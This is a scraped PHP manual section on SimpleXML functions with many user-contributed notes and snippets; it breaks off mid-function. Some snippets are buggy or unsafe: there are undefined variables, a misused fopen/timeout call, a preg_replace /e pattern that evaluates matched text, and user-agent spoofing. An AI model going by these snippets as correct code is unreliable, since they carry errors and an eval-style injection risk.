function eoXML2Array($xmlContent, $out = array()){
    $xmlObject = is_object($xmlContent) ? $xmlContent : simplexml_load_string($xmlContent);
    foreach((array) $xmlObject as $index => $node)
        $out[$index] = ( is_object($node) || is_array($node) ) ? eoXML2Array( $node ) : $node;
    return $out;
}

Usage: $your_array = eoXML2Array(your xml text);
r dot m dot 0100101 at gmail dot com 25-Apr-2013 03:00
This is a slight adjustment to http://www.php.net/manual/en/ref.simplexml.php#103617 's function.
The function given by them would convert a simpleXML to an array but only at the highest level. Once you add the is_array check with the is_object it should convert each level to an array (well it did for me through 3 levels).

function simpleXmlObjectToArray ( $xmlObject, $out = array () )
{
    foreach ( (array) $xmlObject as $index => $node )
        $out[$index] = ( is_object ( $node ) || is_array($node) )
        ? simpleXmlObjectToArray ( $node )
        : $node;

    return $out;
}
Happy Coding!
Eric 29-Jan-2013 03:00
If the SimpleXMLObject contains an array, adding is_array() allows the function to keep digging for Objects.

<?php
function xml2array ( $xmlObject, $out = array () )
{
        foreach ( (array) $xmlObject as $index => $node )
            $out[$index] = ( is_object ( $node ) ||  is_array ( $node ) ) ? xml2array ( $node ) : $node;

        return $out;
}
?>
thomas at guenneguez dot com 14-Dec-2011 02:36
Merge two xml only with SimpleXML :
Function corrected if note containe only value.

<?php
function mergeXML(&$base, $add)
{
    if ( $add->count() != 0 )
        $new = $base->addChild($add->getName());
    else
        $new = $base->addChild($add->getName(), $add);
    foreach ($add->attributes() as $a => $b)
    {
        $new->addAttribute($a, $b);
    }
    if ( $add->count() != 0 )
    {
        foreach ($add->children() as $child)
        {
            mergeXML($new, $child);
        }
    }
}
?>

Use : <?php mergeXML($xmlElement, simplexml_load_string($toMerge)) ?>
julien dot breiner at laposte dot net 09-Dec-2011 10:31
Merge two xml only with SimpleXML :

<?php
private function mergeXML(&$base, $add)
{
    $new = $base->addChild($add->getName());
    foreach ($add->attributes() as $a => $b) {
        $new[$a] = $b;
    }
    foreach ($add->children() as $child) {
        $this->mergeXML($new, $child);
    }
}?>

Use : <?php mergeXML($xmlElement, simplexml_load_string($toMerge)) ?>
k dot antczak at livedata dot pl 22-Apr-2011 01:08
A quick snippet which converts XML Object into array:

<?php
function xml2array ( $xmlObject, $out = array () )
{
        foreach ( (array) $xmlObject as $index => $node )
            $out[$index] = ( is_object ( $node ) ) ? xml2array ( $node ) : $node;

        return $out;
}
?>

Have fun! ;-)
help :-) @ theapotek :-) com 08-Apr-2011 12:54
If you are having trouble accessing CDATA in your simplexml document, you don't need to str_replace/preg_replace the CDATA out before loading it with simplexml.

You can do this instead, and all your CDATA contents will be merged into the element contents as strings.

$xml = simplexml_load_file($xmlfile,
'SimpleXMLElement', LIBXML_NOCDATA);
Andrez zenarter at hotmail dot com 16-Jul-2009 10:56
I just wanna add an additional to
"Append/combine/merge one simplexml to another"
The parent should has attributes too.

<?php

function append_simplexml(&$simplexml_to, &$simplexml_from)
{

static $firstLoop=true;

//Here adding attributes to parent
if( $firstLoop )
            {
                foreach( $simplexml_from->attributes() as $attr_key => $attr_value )
                {
                    $simplexml_to->addAttribute($attr_key, $attr_value);
                }
            }

foreach ($simplexml_from->children() as $simplexml_child)
    {
        $simplexml_temp = $simplexml_to->addChild($simplexml_child->getName(), (string) $simplexml_child);
        foreach ($simplexml_child->attributes() as $attr_key => $attr_value)
        {
            $simplexml_temp->addAttribute($attr_key, $attr_value);
        }

       $firstLoop=false;

        append_simplexml($simplexml_temp, $simplexml_child);
    }

unset( $firstLoop=false );
}

?>

I have aproblem to assign an object into a variable used as an object later, Then i found the code above, it solve half of my problem. I have it should have the parent name assign too but it didnt. Any better code?
Douglas Marsh 06-Jul-2009 08:53
SimpleXML is really nice for loading/converting XML data into native PHP data structures. I was considering crude searching of SVG for the width/height and since it really is an XML file... I found a SUPER easy method for parsing out the information I wanted:

<?php
// putting incomplete SVG data inline for readability
$RawXML = <<< XML
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns:dc="http://www.example.com/dc"
   xmlns:cc="http://www.example.com/cc"
   xmlns:rdf="http://www.example.com/rdf"
   xmlns:svg="http://www.example.com/svg"
   xmlns="http://www.example.com/"
   xmlns:sodipodi="http://www.example.com/sodipodi"
   xmlns:inkscape="http://www.example.com/inkscape"
   id="svg2"
   sodipodi:version="0.32"
   inkscape:version="0.46"
   width="586.25"
   height="743.75"
   xml:space="preserve"
   sodipodi:docname="some_svg_file.svg"
   inkscape:output_extension="org.inkscape.output.svg.inkscape">
 <!-- portions removed to keep this short -->
</svg>
XML;

$svg = new SimpleXMLElement($RawXML);

$height = $svg['height'];
$width = $svg['width'];

echo "The width x height is: ${width} x ${height} \n";

?>
info at ajaxforum dot ru 17-Jun-2009 12:32
Append/combine/merge one simplexml to another:

<?php
include 'example.php';
$el1 = new SimpleXMLElement($xmlstr);
$el2 = new SimpleXMLElement($xmlstr);

// wrong way!
// php convert $el2->movie[0] to string silently
$el1->addChild('movie', $el2->movie[0]);

// wrong way!
// php 5.1 convert $el2->movie[0] to string and generate Warning: It is not yet possible to assign complex types to properties. It is not possible to assign complex types to nodes
// php 5.2 convert $el2->movie[0] to string silently
$el1->addChild('movie');
$el1->movie[2] = $el2->movie[0];

// right way!
$el1_movie = $el1->addChild('movie');
append_simplexml($el1_movie, $el2->movie[0]);

echo "<pre>"; print_r($el1); echo "</pre>";

/**
 * Add one simplexml to another
 *
 * @param object $simplexml_to
 * @param object $simplexml_from
 * @author Boris Korobkov
 * @link http://www.ajaxforum.ru/
 */
function append_simplexml(&$simplexml_to, &$simplexml_from)
{
    foreach ($simplexml_from->children() as $simplexml_child)
    {
        $simplexml_temp = $simplexml_to->addChild($simplexml_child->getName(), (string) $simplexml_child);
        foreach ($simplexml_child->attributes() as $attr_key => $attr_value)
        {
            $simplexml_temp->addAttribute($attr_key, $attr_value);
        }

        append_simplexml($simplexml_temp, $simplexml_child);
    }
}
?>
codejunky32 at NOSPAM dot com 22-May-2009 08:45
Just wanted to add a post as to how you can extract the value from a SimpleXMLElement. Its not as straightforward as you think. Because its a complex object you can't just access the element directly. Here is a sample of data that represents a var_dump of a SimpleXmlElement

array(1) {
  [0]=>
  object(SimpleXMLElement)#13 (2) {
    ["@attributes"]=>
    array(1) {
      ["name"]=>
      string(5) "title"
    }
    [0]=>
    string(19) "PHP Tech Book"
  }
}

If you want to extract the title of the book you have to cast the specified element to a string like so.
$newTitle = (string) $title[0];

The $title variable is the SimpleXMLElement that you have extracted from the xml document using simplexml_load_string for instance.  To initially access the title element from the xml document you can do like so, using xpath.
$title = $doc->xpath('str[@name="title"]');

Hope this helps someone out there.
james dot ellis at gmail dot com 28-Aug-2008 06:55
While SimpleXML is a powerful tool, developers using it to process and handle large XML documents & strings should take into careful consideration its memory usage requirements.
SimpleXML requires the entire XML tree to be available prior to any processing actions on that tree -- this requires the entire tree to be in memory. Ok for a 40kb XML file but when dealing with > 100MB files you will see performance degradation, especially if you have a busy server.

An alternative to processing large XML files is the XMLReader class, which operates in streaming mode, of which an excellent tutorial is presented here:
http://www.ibm.com/developerworks/library/x-pullparsingphp.html

XML is an incredibly verbose format. If you are dealing with large data structures, especially in web services, do you you actually need to represent the data as an XML tree? - other serialisation formats such as JSON, Serialised PHP, Google Protocol Buffers (http://code.google.com/p/protobuf/) and even CSV can remarkably reduce processing time, bandwidth and load  when dealing with large files. A 110MB XML file can become a 65MB CSV file, with the same data in it, simply because the data identifiers (tags) are only represented once in the entire document.
m0sh3 at hotmail dot com 22-May-2008 03:24
Be aware of quirks like this one:

<?php

$a = new SimpleXMLElement('<a><b/></a>');

$a->b = 'test &amp; test';
$a->c = 'test &amp; test';

print_r($a);
/*
OUTPUT:

SimpleXMLElement Object
(
    [b] => test & test
    [c] => test &amp; test
)
*/
nathan at gimpstraw dot com 05-Apr-2008 09:43
I'm using SimpleXML to process data sent back from an API request, and I ran into the CDATA problem and the error you get from html entities, and here is a solution i came up with, don't know if it's the most practical, but it's working.

<?php
$str = <<< XML
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<menu>
    <item>
        <title><![CDATA[Caf&eacute;]]></title>
        <description><![CDATA[Some description.]]></description>
    </item>
</menu>
XML;

$str = preg_replace("/\<\!\[CDATA\[(.*?)\]\]\>/ies", "'[CDATA]'.base64_encode('$1').'[/CDATA]'", $str);
$xml = new SimpleXMLElement($str);

// Return item title's
foreach ($xml->item as $item) {
    $tmp = (string) $item->title;
    $tmp = preg_replace("/\[CDATA\](.*?)\[\/CDATA\]/ies", "base64_decode('$1')", $tmp);
    echo $tmp;
}
?>
ngkongs at gmail dot com 19-Mar-2008 10:44
fix the function i posted before, have a wrong quote placement

function implode2($glue="", $var){
    if ($var){
        foreach ($var as $value){
            $array[]=strval($value);
        }
        return implode($glue, $array);
    }
    else return false;
}
philippe_marc_--a---t--_novartis_com 12-Feb-2008 09:46
TIP: if you run into memory issue using simpleXML.
You may want to use PHP>5.2.5 in order to avoid that: http://bugs.php.net/bug.php?id=38604
If not possible, avoid "foreach ( $xmldata->node as $node )" like calls.
andrvm 02-Jan-2008 03:01
<?php
/**
    * Remove node/nodes xml with xpath
    *
    * @param SimpleXMLElement                 $xml
    * @param string XPath                     $path
    * @param string ('one'|'child'|'all')     $multi
    *
    * Use:
    *
    * Example xml file - http://ru2.php.net/manual/ru/ref.simplexml.php
    *
    * $xml = simplexml_load_file($xmlfile);
    *
    * //1. remove only 1 node (without child nodes)
    * //   $path must return only 1 (unique) node without child nodes
    * removeNode($xml, '//movie/rating[@type="thumbs"]');
    *
    * //2. remove 1 node (with 1 child nodes)
    * //    $path can return any nodes - will be removed only first node
    * //   with all child nodes
    * removeNode($xml, '//characters', 'child')
    *
    * //3. remove all nodes (with child nodes)
    * //   $path can return any nodes - will be removed all
    * //   with child nodes
    * removeNode($xml, '//rating', 'all')
    *
    * $xml->asXML($xmlfile);
    *
    */
   function removeNode($xml, $path, $multi='one')
   {
       $result = $xml->xpath($path);

          # for wrong $path
          if (!isset($result[0])) return false;

          switch ($multi) {
              case 'all':
                    $errlevel = error_reporting(E_ALL & ~E_WARNING);
                    foreach ($result as $r) unset ($r[0]);
                    error_reporting($errlevel);
                    return true;

                case 'child':
                   unset($result[0][0]);
                   return true;

                case 'one':
                   if (count($result[0]->children())==0 && count($result)==1) {
                       unset($result[0][0]);
                       return true;
                   }

                default:
                      return false;
          }
 }
?>

p.s. after use (if deleted all nodes):
<?php

   function trimXml($xmlfile)
   {
       $dom = new DOMDocument();

          $dom->preserveWhiteSpace = false;

         if (!$dom->load($xmlfile)) return false;

         $dom->formatOutput = true;

         if (!$dom->save($xmlfile)) return false;

         return true;
   }
?>
onPHP5.com 17-Nov-2007 04:37
It does not say in the docs, but SimpleXML will convert all text into UTF-8, if the source XML declaration has another encoding. Eg, if the source has the following XML decl:

<?xml version="1.0" encoding="windows-1251" ?>

all the text in the resulting SimpleXMLElement will be in UTF-8 automatically.
lordi at msdi dot ca 23-Oct-2007 05:35
If you need to do math calculations on values extracted from simplexml document, you might need to cast the value as float to prevent precision loss. Here is an example:

<?php
    $objXML = new SimpleXMLElement('<test x="-123.45"></test>');

    //Shows correctly
    echo $objXML['x']."\n";

    //We loose the decimals
    echo $objXML['x'] + $objXML['x']."\n";

    $x = $objXML['x'];

    //This works if we cast the amounts
    echo (float)$objXML['x'] + (float)$objXML['x']."\n";

    //Calculated on a string, no problem
    echo "-123.45" + "-123.45";

?>

This is due to the fact that $objXML['x'] is not a string (php would cast it automatically) neither a float, but a SimpleXMLElement object.

"echo var_dump($x);" will output this
~~
object(SimpleXMLElement)#3 (1) {
  [0]=>
  string(7) "-123.45"
}
~~

I opened a bug request on php but here is the answer they gave me:

~~
Status: Won't fix

The behavior is defined by the engine not the extension. When performing mathematical operations on objects, they are treated as integers. It is up to the user to cast the object to the appropriate type to maintain proper precision.
~~
cmsa at gmx dot de 27-Aug-2007 05:07
I had a problem with entities.

My first solution:
I saved Data that way:
$ENTRY_->
addchild('Nachricht',htmlentities($_POST["blog"]));

Had Entities in the XML-File like:
<!ENTITY auml "&amp;auml">

And I loaded the Data that way:
html_entity_decode($ENTRY->Nachname);

But after saving and
loading the xml-file the entity-entry
<!ENTITY auml "&amp;auml">
disappeared. strange...

My second solution:
With saving the Data this way:
$ENTRY_->
addchild('Nachricht',htmlentities(htmlentities($_POST["blog"])));

I can now load it with html_entity_decode without the
 entity-entry in the XML-file!
I tested it with ??ü.

Hope it helpes.
karsten dot bruch at bms-verlage dot de 16-Aug-2007 08:28
When creating a new XML document and adding text with umlauts and such

<?php $SimpleXMLElement->asXML(); ?>

will silently NOT output any content with umlauts.

Use htmlentities () while adding Umlauts & co to solve the "problem"
anthony dot parsons at manx dot net 03-Aug-2007 07:40
If you're handling lots of HTML or mixed-content XML you'll probably want to use the DOM functions instead of SimpleXML. Take this for example:
<?php
$html = new SimpleXMLElement('<div><p>Some text, <a href="#">a link,</a> more text</p></div>');

echo $html->p->a,"<br>\n"; // "a link,"
echo $html->p;             // "Some text, more text" (!)
?>
In the above example reconstructing the original markup is impossible because of the way SimpleXML represents the data.
php at werner dash ott dot de 28-Mar-2007 06:03
Concerning SimpleXML and sessions:

When creating a SimpleXML object (to be precise: a SimpleXMLElement object) in the context of a session and storing it in $_SESSION['XMLobject'], this object does not "survive" the session!

By the time re-entering the session, print_r($_SESSION['XMLobject']) says:

['XMLobject'] => SimpleXMLElement Object
Warning:  Node no longer exists in /your_php_file.php on line xyz
   (
   )

(Message simplified for the sake of better readability.)
codje2 at lboro dot ac dot uk 11-Mar-2007 01:46
Sometimes it's nice to mix up data storage types. This is a very simple SQL to XML converter. Feed it a SQL query and it outputs the result in XML.

The first paramater should be a mysql_query result
(optional)The second is the xml name for each row (i.e the second depth of XML)
(optional)The third is the name of the XML document, the root name

<?php
$result=mysql_query("SELECT * FROM users");
sql_to_xml($result,"users","members");

function sql_to_xml($mysql_result,$row_name="row",$doc_name="root")
{

    $xml= new SimpleXMLElement("<$doc_name></$doc_name>");
    while($line=mysql_fetch_assoc($mysql_result))
    {
        $row=$xml->addChild($row_name);
        foreach($line as $column => $value)
        {
            $row->$column="$value";
        }
    }
    return $xml->asXML();
}

?>
php at NOSPAM dot coutch dot com 21-Feb-2007 02:04
Memory leak when setting attributes as in example (#Example 2134. Setting values)

This probably goes unnoticed in web scripts (unless you do a LOT of xml manipulations), but I ran into this in my standalone script that processes a large number of XML files.

The following code will eat up memory quite fast:

<?php
include 'example.php';

while (true) {
  $xml = new SimpleXMLElement($xmlstr);
  $xml->movie[0]->characters->character[0]->name = 'Miss Coder';
}
?>

while this seems to behave correctly:

<?php
include 'example.php';

while (true) {
  $xml = new SimpleXMLElement($xmlstr);
  $c = $xml->xpath("//character");
  $c[0]->name = 'Miss Coder';
}
?>

This looks like bug #38604, and I just confirmed that in 6.0.0-dev (on Windows at least) it is fixed.  It is NOT fixed in 5.2.1 or  5.2.2-dev (2/21 build), so for 5.2 users, use the second form to avoid leaks.
joel [from the website] purerave.com 19-Feb-2007 05:57
It doesn't mention this anywhere, but creationg a new SimpleXMLElement object from a non-valid string throws an exception. It looks ugly in the php log as it dumps the stack in multiple lines.

The correct way to create a new SimpleXMLElement object is like so:
<?php
$xmlstr = ''; // empty to throw an exception
try {
   $xml = new SimpleXMLElement($xmlstr);
} catch (Exception $e) {
   // handle the error
   echo '$xmlstr is not a valid xml string';
}
?>
matt at mattbostock dot com 05-Nov-2006 11:40
Be careful when using var_export to debug element attributes - it won't work! Always use print() or similar for checking the contents of element attributes.
Arnaud Bienvenu 19-Oct-2006 07:35
As of PHP 5.1.4, trying to iterate on a non-existent node will actually create that node.

<?
$xml = simplexml_load_string('<root></root>');
foreach($xml->b as $dummy);
echo $xml->asXML();
?>

Gives :

<?xml version="1.0"?>
<root><b/></root>

You might think it is a bug, but PHP developers seam to consider it as a feature : http://bugs.php.net/bug.php?id=39164
Jason Sheets <jsheets at shadonet dot com> 31-May-2006 10:31
Here is my Simple XML to array function, it is recursive and has the benefit of maintaining key value relationships and has worked well for me.

<?php
function XMLToArray($xml)
{
  if ($xml instanceof SimpleXMLElement) {
    $children = $xml->children();
    $return = null;
  }

  foreach ($children as $element => $value) {
    if ($value instanceof SimpleXMLElement) {
      $values = (array)$value->children();

      if (count($values) > 0) {
        $return[$element] = XMLToArray($value);
      } else {
        if (!isset($return[$element])) {
          $return[$element] = (string)$value;
        } else {
          if (!is_array($return[$element])) {
            $return[$element] = array($return[$element], (string)$value);
          } else {
            $return[$element][] = (string)$value;
          }
        }
      }
    }
  }

  if (is_array($return)) {
    return $return;
  } else {
    return $false;
  }
}
?>
daniel dot oconnor at gmail dot com 17-May-2006 06:21
SimpleXML handles namespaces, but it's not documented very well here at all.

If you wanted to parse, say, an open office manifest file or a piece of RDF/XML, you have to get elements and attributes by the namespace url.

Example:
<?php
function display($in) {
    if (file_exists($in)) {
        $xml = simplexml_load_file($in);
    } else {
        throw new Exception($in . " does not exist");
    }

    $manifest = $xml->children('http://openoffice.org/2001/manifest');

    foreach ($manifest->xpath('//manifest:file-entry') as $file) {
        foreach ($file->attributes('http://openoffice.org/2001/manifest') as $key => $value) {
            print "Key:" . $key . "\n";
            print "Value:" . $value . "\n";
        }
    }

}
?>

File: manifest.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE manifest:manifest PUBLIC "-//OpenOffice.org//DTD Manifest 1.0//EN" "Manifest.dtd">
<manifest:manifest xmlns:manifest="http://openoffice.org/2001/manifest">
 <manifest:file-entry manifest:media-type="application/vnd.sun.xml.writer" manifest:full-path="/"/>
 <manifest:file-entry manifest:media-type="application/vnd.sun.xml.ui.configuration" manifest:full-path="Configurations2/"/>
 <manifest:file-entry manifest:media-type="application/binary" manifest:full-path="layout-cache"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>
 <manifest:file-entry manifest:media-type="" manifest:full-path="Thumbnails/thumbnail.png"/>
 <manifest:file-entry manifest:media-type="" manifest:full-path="Thumbnails/"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="settings.xml"/>
</manifest:manifest>
paul at preinheimer dot com 06-May-2005 05:11
Hi,

If you want to access an element that has a dash in its name, (as is common with the XML documents provided by the Library of Congress, as well as the NWS) you will need to handle it a little bit differently.

You can either use XPATH, which works fine, but will return an array of results every time, even if there is a single result.
eg.

<?php
$xml->xpath('/data/time-layout/start-valid-time');
?>

You can also choose just to encapsulate the element names containing a dash:
<?php $xml->data->{'time-layout'}->{'start-valid-time'} ?>

--

On a only partially related note, dealing with SimpleXML is one of the only times I have employed casting with PHP. While iterating (foreach) through the valid times, echo'ing the element worked great (it merely echo'ed the apropriate time), assigning it to another variable resulted in a SimpleXML object containing the time to be assigned, rather than just the time itself. This was resolved by casting the time to a string:

<?php
foreach($xml->data->{'time-layout'}->{'start-valid-time'} AS $time)
{
 $weatherDates[] = (string) $time;
}
?>
T CHASSAGNETTE t_chassagnette at yahoo dot fr 04-May-2005 01:57
Another method to parse an XML Document into a PHP array with SIMPLEXML inspired from Daniel FAIVRE !

<?php
function xml2php($xml)
{
    $fils = 0;
    $tab = false;
    $array = array();
    foreach($xml->children() as $key => $value)
    {
        $child = xml2php($value);

        //To deal with the attributes
        foreach($node->attributes() as $ak=>$av)
        {
            $child[$ak] = (string)$av;

        }

        //Let see if the new child is not in the array
        if($tab==false && in_array($key,array_keys($array)))
        {
            //If this element is already in the array we will create an indexed array
            $tmp = $array[$key];
            $array[$key] = NULL;
            $array[$key][] = $tmp;
            $array[$key][] = $child;
            $tab = true;
        }
        elseif($tab == true)
        {
            //Add an element in an existing array
            $array[$key][] = $child;
        }
        else
        {
            //Add a simple element
            $array[$key] = $child;
        }

        $fils++;
      }

    if($fils==0)
    {
        return (string)$xml;
    }

    return $array;

}
?>
nelson_menezes at yahoo dot co dot uk 01-Mar-2005 05:05
Note that SimpleXML expects to both read and output XML in UTF-8 encoding. You'll need to add a line such as this at the top of your input XML file if it isn't saved in UTF-8 (adjust to whatever encoding used):

<?xml version="1.0" encoding="ISO-8859-1" ?>

On the output side of things, if you're not serving/handling UTF-8, you'll need to use utf8_decode() [red. but that will only work for ISO-8859-1, not other encodings]. Common mistake: http://bugs.php.net/bug.php?id=28154
brcavanagh AT NO SPAM hotmail.com 02-Jan-2005 09:18
If you are looking to use SimpleXML for anything but reading XML documents, you should really reconsider, and use the XML DOM library.  By the time you get enough utilities implemented in DOM to handle all the set backs in SimpleXML, you will have defeated the purpose of using SimpleXML.  There are a few reasons for this, and there are already many workrounds, but the primairy issues are this

1) No complex node assignment.  You cannot switch nodes or replace them.

2) No appending new child nodes

3) Whenever you do something like $new_node = $xml_doc->node you will always get a reference even if you use a clone method, which will crash the script.

Other than that, its a great tool for reading docs.


Get a SimpleXMLElement object from a DOM node

  • ? SimpleXML 函数
  • simplexml_load_file ?
  • PHP Manual
  • SimpleXML 函数
  • Get a SimpleXMLElement object from a DOM node

simplexml_import_dom

(PHP 5, PHP 7)

simplexml_import_dom — Get a SimpleXMLElement object from a DOM node

说明

simplexml_import_dom ( DOMNode $node [, string $class_name = "SimpleXMLElement" ] ) : SimpleXMLElement

This function takes a node of a DOM document and makes it into a SimpleXML node. This new object can then be used as a native SimpleXML element.

参数

node

A DOM Element node

class_name

You may use this optional parameter so that simplexml_import_dom() will return an object of the specified class. That class should extend the SimpleXMLElement class.

返回值

Returns a SimpleXMLElement 或者在失败时返回 FALSE.

Warning

此函数可能返回布尔值 FALSE，但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

范例

Example #1 Importing DOM

<?php
$dom = new DOMDocument;
$dom->loadXML('<books><book><title>blah</title></book></books>');
if (!$dom) {
    echo 'Error while parsing the document';
    exit;
}

$s = simplexml_import_dom($dom);

echo $s->book[0]->title;
?>

以上例程会输出：

blah

参见

  • dom_import_simplexml() - Gets a DOMElement object from a SimpleXMLElement object
  • Basic SimpleXML usage

User Contributed Notes

shirkaen at gmail dot com 10-Nov-2016 06:58
/*If tags in DOM have text and some part of this text is surrounded by other tag, simple_import_dom object doesn't contain position of child tag, so rendering it back to html/xml can be a problem. Printing such a node is also peculiar. Eg.*/

//////////////////////
$text = "<body><p>Some text before <em>italic </em>and after text.</p></body>";
$dom = new DOMDocument;
$dom->loadHTML($text);
$result = simplexml_import_dom($dom);
echo $result->p;

//////////////////////
//Prints :
//Some text before and after text.

print_r($result->p);
//Prints:
//SimpleXMLElement Object ( [em] => italic )

print_r($result->p->em)
//does more or less the same:
//SimpleXMLElement Object ( [0] => italic )

var_dump($result->p);
//Prints:
//object(SimpleXMLElement)#8 (1) { ["em"]=> string(7) "italic " }

var_dump($result->p->em)
//object(SimpleXMLElement)#9 (1) { [0]=> string(7) "italic " }

//but
echo $result->p->em;
//prints:
//italic
brandonkirsch at perceptionilluminates dot com 14-Aug-2013 03:38
simplexml_import_dom() will accept DOMNodes or other SimpleXMLElements.  This has a useful purpose if you are extending the SimpleXMLElement class and would prefer the xpath() method to return your class extension instead of basic SimpleXMLElements.  For example:

class MySimpleXML extends SimpleXMLElement{
    public function xpath($xpath){
        $return = array();
        $simpleXmls = parent::xpath($xpath); // run SimpleXMLElement xpath, returning an array of SimpleXMLElements
        foreach($simpleXmls as $xml){
            $return[] = simplexml_import_dom($xml,'MySimpleXML'); // copy SimpleXMLElement, returning as MySimpleXML instance
        }
        return $return;
    }
}

Now I can create an instance of MySimpleXML, run an xpath, and get my results back as an array of MySimpleXML elements instead of the native SimpleXMLElement:

$mySimpleXml = new mySimpleXml('<root><node/></root>');

$array = $mySimpleXml->xpath('/root/node'); // returns array with a single MySimpleXml object


Interprets an XML file into an object

  • ? simplexml_import_dom
  • simplexml_load_string ?
  • PHP Manual
  • SimpleXML 函数
  • Interprets an XML file into an object

simplexml_load_file

(PHP 5, PHP 7)

simplexml_load_file — Interprets an XML file into an object

说明

simplexml_load_file ( string $filename [, string $class_name = "SimpleXMLElement" [, int $options = 0 [, string $ns = "" [, bool $is_prefix = FALSE ]]]] ) : SimpleXMLElement

Convert the well-formed XML document in the given file to an object.

参数

filename

Path to the XML file

Note:

Libxml 2 unescapes the URI, so if you want to pass e.g. b&c as the URI parameter a, you have to call simplexml_load_file(rawurlencode('http://example.com/?a=' . urlencode('b&c'))). Since PHP 5.1.0 you don't need to do this because PHP will do it for you.

class_name

You may use this optional parameter so that simplexml_load_file() will return an object of the specified class. That class should extend the SimpleXMLElement class.

options

Since PHP 5.1.0 and Libxml 2.6.0, you may also use the options parameter to specify additional Libxml parameters.

ns

Namespace prefix or URI.

is_prefix

TRUE if ns is a prefix, FALSE if it's a URI; defaults to FALSE.

返回值

Returns an object of class SimpleXMLElement with properties containing the data held within the XML document, 或者在失败时返回 FALSE.

Warning

此函数可能返回布尔值 FALSE，但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

错误／异常

Produces an E_WARNING error message for each error found in the XML data.

Tip

Use libxml_use_internal_errors() to suppress all XML errors, and libxml_get_errors() to iterate over them afterwards.

范例

Example #1 Interpret an XML document

<?php
// The file test.xml contains an XML document with a root element
// and at least an element /[root]/title.

if (file_exists('test.xml')) {
    $xml = simplexml_load_file('test.xml');

    print_r($xml);
} else {
    exit('Failed to open test.xml.');
}
?>

This script will display, on success:

SimpleXMLElement Object
(
  [title] => Example Title
  ...
)

At this point, you can go about using $xml->title and any other elements.

参见

  • simplexml_load_string() - Interprets a string of XML into an object
  • SimpleXMLElement::__construct() - Creates a new SimpleXMLElement object
  • Dealing with XML errors
  • libxml_use_internal_errors() - Disable libxml errors and allow user to fetch error information as needed
  • Basic SimpleXML usage

User Contributed Notes

sirgrayjn at gmail dot com 22-Sep-2016 09:51
// Be carefull if you migrate or use local machine
// for test/development.

// Windows directory separators: "\" and "/"
// You may mix separators "C:\somedir\www/img/bg.jpg".

// Mixed separators path work fine in other functions
// But simplexml_load_file() failed with mixed separators.

// Examples:
include("C:\dir\my.php");    // work (windows)
include("C:\dir/my.php");    // work (windows) with mixed
include("C:/dir/my.php");    // work (windows, linux)
simplexml_load_file("C:\dir\my.php");    // work
simplexml_load_file("C:\dir/my.php");    // failed with mixed
simplexml_load_file("C:/dir/my.php");    // work
rex111 at bigmir dot net 08-Sep-2016 03:02
Get all tags and their values. (recursive)

<?php
$xml = simplexml_load_file('settings.xml');

function all_tag($xml){
    $i=0; $name = "";
    foreach ($xml as $k){
        $tag = $k->getName();
        $tag_value = $xml->$tag;
        if ($name == $tag){ $i++;    }
                $name = $tag;
            echo $tag .' '.$tag_value[$i].'<br />';
        // recursive
           all_tag($xml->$tag->children());
    }
}

all_tag($xml);
?>
Rich 24-Nov-2015 02:51
I stumbled on this: a single element with a simple string in it becomes a string, but a single element with a *space* in it becomes an Array, with one element, the string space.

I'm sure to XML mystics this is wise and wonderful but it really confused me,  and I thought it might confuse others.

<?php
$parsed = simplexml_load_string('<container><space> </space><blank></blank><string>hello</string></container>');
$content = json_decode(json_encode($parsed),TRUE);
var_dump($content);
/* Output is:
array(3) {
  'space' => array(1) {           ← did NOT expect this!
    [0] => string(1) " "
  }
  'blank' => array(0) { }
  'string' => string(5) "hello"
}
 */
tuxedobob 30-Jun-2015 01:25
Occasionally you may try to load a file and have it complain about an entity and throw a parser error.

If this is the case, check to make sure that the file in question does not contain an ampersand (&) without a corresponding entity reference.

If it does, or if you want to err on the side of caution, then instead of using simplexml_load_file, try this:

$file = file_get_contents('stuff.xml');
$temp = preg_replace('/&(?!(quot|amp|pos|lt|gt);)/', '&amp;', $file);
$xml = simplexml_load_string($temp) or die("xml not loading");

Read the file into a string, add 'amp;' after any '&' that is not part of a character entity, then parse the string as xml.
kannan at 99deals dot in 04-Sep-2012 06:27
If you have some nodes which are having special characters, it would not load properly

for an instance see the nodes below
<node:number>1538-7445</node:number>
<node:coverDisplayDate>Sep  1 2012 12:00:00:000AM</node:coverDisplayDate>

either you have to change the : to other special characters like '-' in order to convert it properly

Correct Node
<node-number>1538-7445</node-number>
<node-coverDisplayDate>Sep  1 2012 12:00:00:000AM</node-coverDisplayDate>

I have wasted my precious time while debugging this. Please aware about this. ?
ricardo at ricardomartins dot info 21-Aug-2012 05:49
Sometimes we have xml's with hyphens nodes, like

<my_xml>
 <some-node>value</some-node>
</my_xml>

You'll need to use
<?php
$simpleXmlObj->{'some-node'}
?>

instead of
<?php
$simpleXmlObj->some-node;
?>
fusionstream at gmail dot com 05-Apr-2012 04:15
If you are loading many files, this may slow down your page load time.

To set a timeout, use file_get_context and then simplexml_load_string

<?php

$fp = fopen('http://www.example.com/rss', false, stream_create_context(array('http' => array('timeout', '1.5'))));

if ($fp) {
    print_r( simplexml_load_string($fp) );
} else {
    echo "The request timed out";
}
?>
sean at aliencreations dot com 17-Mar-2011 10:59
If you find that you are receiving 500 errors with simplexml_load_file() but you can access the xml/rss feed manually through a browser, your script is probably being blocked by a user agent sniffer.

Add this code before your xml call to remedy this issue

<?php

ini_set("user_agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
ini_set("max_execution_time", 0);
ini_set("memory_limit", "10000M");

$rss = simplexml_load_file($feed_url);

?>
Nanuit at ossi dot at 08-Feb-2011 01:51
A little function very helpfull in using simplexml_load_file behind a proxy

<?php
function getXMLfromURL($url) {
      $Proxy = getenv("HTTP_PROXY");

      if (strlen($Proxy) > 1) {
        $r_default_context = stream_context_get_default ( array
                    ('http' => array(
                        'proxy' => $Proxy,
                        'request_fulluri' => True,
                    ),
                )
            );
